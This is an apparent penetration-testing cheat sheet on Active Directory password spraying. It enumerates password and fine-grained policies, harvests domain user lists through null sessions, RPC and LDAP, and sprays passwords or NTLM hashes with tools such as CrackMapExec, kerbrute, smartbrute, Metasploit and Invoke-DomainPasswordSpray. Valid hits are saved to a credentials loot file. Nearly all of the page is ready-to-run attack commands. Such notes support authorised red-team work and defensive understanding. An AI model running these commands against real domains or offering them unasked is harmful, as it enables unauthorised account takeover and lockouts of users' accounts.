Password Policy
Enumerate password policy in the domain:
Copy $ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' --pass-pol
Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess Example of net accounts output:
Fine-Grained Password Policies
Map FGPPs to the users they're being applied to (need admin privileges by default):
Copy ForEach ($fgpp in ( Get-ADFineGrainedPasswordPolicy - Filter * - Properties Description)) {
$appliesTo = $fgpp | select - ExpandProperty AppliesTo
$objectClass = ( Get-ADObject $appliesTo).ObjectClass
Write-Host - ForegroundColor Yellow "`r`nFine Grained Password Policy: $fgpp.name"
$fgpp | Out-Host
If ($objectClass -eq "group" ) {
Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
}
ElseIf ($objectClass -eq "user" ) {
Get-ADUser $appliesTo | select - ExpandProperty samAccountName | Write-Host - ForegroundColor Green
}
}
When it's critical not to cause a lockout on a user account with a FGPP applied, the safest approach would be to exclude users with msDS-PSOApplied or msDS-ResultantPSO properties populated (can be read by a regular user) from the spray list.
Check if exists:
Copy PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied
PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO Get Domain Users
Non-Authenticated (Null Session)
If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via RID Cycling .
Another approach is to manually request all users via RPC ($IPC share):
Copy $ cme smb DCs.txt -u '' -p ''
$ cme smb DCs.txt -u '' -p '' --users
$ cme smb DCs.txt -u '' -p '' --groups
Copy $ rpcclient -N -U '' 192.168.1.11
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
Copy $ net rpc group members 'Domain Users' -W 'MEGACORP' -I '192.168.1.11' -U '%'
Copy $ smbclient -N -U '' -L 192.168.1.11
Copy $ enum4linux -v -a 192.168.1.11 | tee ~/ws/log/enum4linux.out
Copy $ nullinux.py 192.168.1.11 Authenticated
Query LDAP for all domain user accounts via GetADUsers.py :
Copy $ GetADUsers.py MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip 192.168.1.11 | tee ~/ws/log/GetADUsers.out Query LDAP for all domain user accounts via windapsearch :
Copy $ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMailbox | awk '{print $2}' | awk -F@ '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt Query LDAP for all active domain user accounts via go-windapsearch :
Copy $ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attrs sAMAccountName,mail,pwdLastSet,lastLogon | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMailbox -e '\$$' | awk '{print $2}' | perl -nle 'print if m{^[[:ascii:]]+$}' | sort -u > ~/ws/enum/all-users-active.txt Shadow Spray
Copy $ python3 pywhisker.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --target-list users.txt --action spray -v Tools
MSF
Copy msf > use auxiliary/scanner/smb/smb_login
msf > set RHOSTS <DC_IP>
msf > set SMBDomain megacorp.local
msf > set SMBPass Passw0rd!
msf > set USER_FILE /home/snovvcrash/ws/enum/all-users.txt
msf > set VERBOSE False
msf > run kerbrute
Generate a wordlist of common usernames in an appropriate format and validate it against KDC (doesn't cause accounts lock out):
Copy $ kerbrute -d megacorp.local -o ~/ws/log/kerbrute-userenum.log userenum ~/ws/enum/names.txt
$ cat ~/ws/log/kerbrute-userenum.log | grep VALID | awk '{print $7}' | awk -F@ '{print $1}' > ~/ws/enum/valid-users.txt Perform password spraying for discovered accounts:
Copy $ kerbrute --delay 100 -d megacorp.local -o ~/ws/log/kerbrute-passwordspray-'123456'.log passwordspray ~/ws/enum/valid-users.txt '123456'
$ cat ~/ws/log/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/creds.txt pyKerbrute
Copy $ python2 ADPwdSpray.py 192.168.1.11 megacorp.local users.txt ntlmhash fc525c9683e8fe067095ba2ddc971889 udp smartbrute
Spray single hash against a list of users:
Copy $ smartbrute -v brute --delay 100 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos -d megacorp.local --dc-ip 192.168.1.11 Get domain password policy and active users:
Copy $ smartbrute -v smart {--policy|--users} ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11 Launch smart password spray with a hash:
Copy $ smartbrute -v smart --delay 100 -bh <HASH_TO_SPRAY> ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11 kerberos DomainPasswordSpray
Copy PS > Invoke-DomainPasswordSpray -UserList .\all-users.txt -Domain megacorp.local -Password 'Passw0rd!' -OutFile spray-results.txt 